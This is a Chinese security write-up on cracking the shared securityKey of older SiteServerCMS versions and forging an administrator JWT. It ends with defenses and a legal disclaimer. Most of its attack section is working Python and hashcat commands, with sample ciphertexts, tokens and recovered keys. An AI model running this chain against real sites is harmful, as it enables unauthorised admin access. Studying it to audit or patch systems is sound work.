代码审计 | SiteServerCMS密钥攻击
字数 1884 2025-08-15 21:30:45

SiteServerCMS密钥攻击分析与防御教学文档

一、漏洞背景

SiteServerCMS在7.x版本之前存在一个安全漏洞,由于加密和签名使用相同的securityKey,且密钥生成算法存在缺陷,导致攻击者可以通过暴力破解方式获取完整密钥。

二、技术原理分析

2.1 系统加密机制

  1. 密钥生成

    • 旧版本使用GetShortGuid()生成16字节(0-f小写)的字符串作为securityKey
    • 该密钥同时用于DES加密和JWT签名
  2. DES加密使用

    • 使用CBC模式
    • 固定IV值:{ 0×12, 0×34, 0×56, 0×78, 0×90, 0xAB, 0xCD, 0xEF }
    • 密钥长度:8字节(实际有效56位)
  3. JWT签名

    • 使用HS256算法
    • 格式:Header.Payload.Signature
    • 签名密钥为完整的16字节securityKey

2.2 漏洞成因

  1. 密钥拆分问题

    • 16字节密钥被拆分为两个8字节部分(KeyA和KeyB)
    • KeyA用于DES加密,KeyB用于JWT签名
    • 两部分可以分别破解
  2. DES等效密钥问题

    • DES密钥实际有效位只有56位
    • 每个字节的最后1位是校验位
    • 导致存在多个等效密钥(最多256个)

三、攻击步骤详解

3.1 获取DES密钥(KeyA)

  1. 收集必要信息

    • 获取登录验证码的明文(如"pM44")
    • 从Cookie中获取对应的密文(如"tiUDU5G1PJE0equals00secret0")
    • 已知固定IV值
  2. 构造Hashcat破解命令

    def get_keya(ct, pt, iv):
        # 第一组密文,8字节
        st = base64.b64decode(b64_de_replace(ct)).hex()[:16]
        # 第一组明文 XOR IV
        md = bxor(pt, iv).hex()
        print('hashcat -m 14000 {}:{} -a 3 "?h?h?h?h?h?h?h?h" --force'.format(st, md))
    
    pt = b'pM44' + b'\x04' * 4  # 验证码,PKCS7填充
    ct = 'tiUDU5G1PJE0equals00secret0'
    iv = b'\x12\x34\x56\x78\x90\xAB\xCD\xEF'
    get_keya(ct, pt, iv)
    

    输出示例:hashcat -m 14000 b625035391b53c91:6279624c94afc9eb -a 3 "?h?h?h?h?h?h?h?h" --force

  3. 计算等效密钥组

    def get_key_list(key):
        result = [key]
        for i in range(len(key)):
            for k in result:
                t = list(k)
                s = chr(ord(t[i]) ^ 1)
                if s in '1234567890abcdef':
                    t[i] = s
                    n = ''.join(t)
                    if n not in result:
                        result.append(n)
        return result
    
    keya = 'd78e2f50'
    print(get_key_list(keya))
    

    可能产生32组、64组、128组或最多256组等效密钥

3.2 获取JWT签名密钥(KeyB)

  1. 收集JWT令牌

    • 从Cookie获取SS-USER-TOKEN
    • 示例:miwSyMrZkrJd0slash0y2v1vmYi2SQmsVxvzJm2kyerBmpzHqZvyr2mFCONEeBNiQmnHvAB0slash091aIXgky0uXXLo2mhhNpwfOLC0add03CxWLOxagungkttJcTIxPKgUosbkNGNoXUD5gUf70add0z6pJBihGUowi8xxOLmsdzk8PMjzeQ1zpNWvkyBqc00slash0Igtyzw90slash0aQD1eT3ZMaZIJl1Sccue7vUlJt4ZIRxflikVgHi0slash0muAjrEACajO80equals00secret0
  2. 提取签名哈希

    ct = SS-USER-TOKEN
    keya = 'd78e2f50'
    ss_at = decrypt(ct, keya, iv).split('.')
    st_hmac = base64_url_decode(ss_at[2]).hex()
    print(st_hmac)
    

    输出示例:1db8dd410455cf1de31f24b57bc60a81298fe346005b11953733a12a3a06c618

  3. 生成Hashcat破解脚本

    def get_keyb(ct, keya, iv):
        keyb_list = get_key_list(keya)
        ss_at = decrypt(ct, keya, iv).split('.')
        ss_pt = ss_at[0] + '.' + ss_at[1]
        st_hmac = base64_url_decode(ss_at[2]).hex()
        with open('keyb.sh', 'wt') as fs:
            for k in keyb_list:
                hs = 'hashcat -m 1450 {}:{} -a 3 "{}?h?h?h?h?h?h?h?h" --force{}'.format(st_hmac, ss_pt, k, "\n")
                fs.write(hs)
        print('$ bash keyb.sh')
    
    ct = SS-USER-TOKEN
    keya = 'd78e2f50'
    iv = b'\x12\x34\x56\x78\x90\xAB\xCD\xEF'
    get_keyb(ct, keya, iv)
    
  4. 执行破解

    • 运行生成的keyb.sh脚本
    • 检查破解结果:cat ~/.hashcat/hashcat.potfile
    • 成功示例:d68d2f41d7497659(完整的16字节密钥)

3.3 伪造管理员令牌

  1. 构造管理员JWT

    • 使用获取的完整密钥
    • 设置UserId=1(通常为admin)
    • 生成新的签名
  2. 替换Cookie

    • 将伪造的令牌设置为SS-USER-TOKEN
    • 获取后台管理员权限

四、防御措施

  1. 密钥生成改进

    • 使用更长的密钥(如7.x版本已增加长度)
    • 使用加密安全的随机数生成器
  2. 加密与签名分离

    • 不要使用相同密钥用于加密和签名
    • 为不同功能使用独立密钥
  3. 算法升级

    • 弃用DES,改用AES等更安全的算法
    • 使用更安全的签名算法
  4. 防御性编程

    • 实施密钥轮换机制
    • 监控异常登录行为

五、参考工具

  1. Hashcat命令

    • DES破解:hashcat -m 14000 <密文:中间值> -a 3 "?h?h?h?h?h?h?h?h"
    • HMAC-SHA256破解:hashcat -m 1450 <签名哈希:JWT头载荷> -a 3 "<KeyA部分>?h?h?h?h?h?h?h?h"
  2. Python辅助函数

    • bxor(): 字节异或运算
    • get_key_list(): 生成等效密钥组
    • decrypt(): DES解密函数

六、法律声明

本技术文档仅用于安全研究与防御目的,未经授权对系统进行测试或攻击可能违反相关法律法规。实施安全测试前请确保获得合法授权。

SiteServerCMS密钥攻击分析与防御教学文档 一、漏洞背景 SiteServerCMS在7.x版本之前存在一个安全漏洞,由于加密和签名使用相同的 securityKey ,且密钥生成算法存在缺陷,导致攻击者可以通过暴力破解方式获取完整密钥。 二、技术原理分析 2.1 系统加密机制 密钥生成 : 旧版本使用 GetShortGuid() 生成16字节(0-f小写)的字符串作为 securityKey 该密钥同时用于DES加密和JWT签名 DES加密使用 : 使用CBC模式 固定IV值: { 0×12, 0×34, 0×56, 0×78, 0×90, 0xAB, 0xCD, 0xEF } 密钥长度:8字节(实际有效56位) JWT签名 : 使用HS256算法 格式: Header.Payload.Signature 签名密钥为完整的16字节 securityKey 2.2 漏洞成因 密钥拆分问题 : 16字节密钥被拆分为两个8字节部分(KeyA和KeyB) KeyA用于DES加密,KeyB用于JWT签名 两部分可以分别破解 DES等效密钥问题 : DES密钥实际有效位只有56位 每个字节的最后1位是校验位 导致存在多个等效密钥(最多256个) 三、攻击步骤详解 3.1 获取DES密钥(KeyA) 收集必要信息 : 获取登录验证码的明文(如"pM44") 从Cookie中获取对应的密文(如"tiUDU5G1PJE0equals00secret0") 已知固定IV值 构造Hashcat破解命令 : 输出示例: hashcat -m 14000 b625035391b53c91:6279624c94afc9eb -a 3 "?h?h?h?h?h?h?h?h" --force 计算等效密钥组 : 可能产生32组、64组、128组或最多256组等效密钥 3.2 获取JWT签名密钥(KeyB) 收集JWT令牌 : 从Cookie获取 SS-USER-TOKEN 示例: miwSyMrZkrJd0slash0y2v1vmYi2SQmsVxvzJm2kyerBmpzHqZvyr2mFCONEeBNiQmnHvAB0slash091aIXgky0uXXLo2mhhNpwfOLC0add03CxWLOxagungkttJcTIxPKgUosbkNGNoXUD5gUf70add0z6pJBihGUowi8xxOLmsdzk8PMjzeQ1zpNWvkyBqc00slash0Igtyzw90slash0aQD1eT3ZMaZIJl1Sccue7vUlJt4ZIRxflikVgHi0slash0muAjrEACajO80equals00secret0 提取签名哈希 : 输出示例: 1db8dd410455cf1de31f24b57bc60a81298fe346005b11953733a12a3a06c618 生成Hashcat破解脚本 : 执行破解 : 运行生成的 keyb.sh 脚本 检查破解结果: cat ~/.hashcat/hashcat.potfile 成功示例: d68d2f41d7497659 (完整的16字节密钥) 3.3 伪造管理员令牌 构造管理员JWT : 使用获取的完整密钥 设置 UserId=1 (通常为admin) 生成新的签名 替换Cookie : 将伪造的令牌设置为 SS-USER-TOKEN 获取后台管理员权限 四、防御措施 密钥生成改进 : 使用更长的密钥(如7.x版本已增加长度) 使用加密安全的随机数生成器 加密与签名分离 : 不要使用相同密钥用于加密和签名 为不同功能使用独立密钥 算法升级 : 弃用DES,改用AES等更安全的算法 使用更安全的签名算法 防御性编程 : 实施密钥轮换机制 监控异常登录行为 五、参考工具 Hashcat命令 : DES破解: hashcat -m 14000 <密文:中间值> -a 3 "?h?h?h?h?h?h?h?h" HMAC-SHA256破解: hashcat -m 1450 <签名哈希:JWT头载荷> -a 3 "<KeyA部分>?h?h?h?h?h?h?h?h" Python辅助函数 : bxor() : 字节异或运算 get_key_list() : 生成等效密钥组 decrypt() : DES解密函数 六、法律声明 本技术文档仅用于安全研究与防御目的,未经授权对系统进行测试或攻击可能违反相关法律法规。实施安全测试前请确保获得合法授权。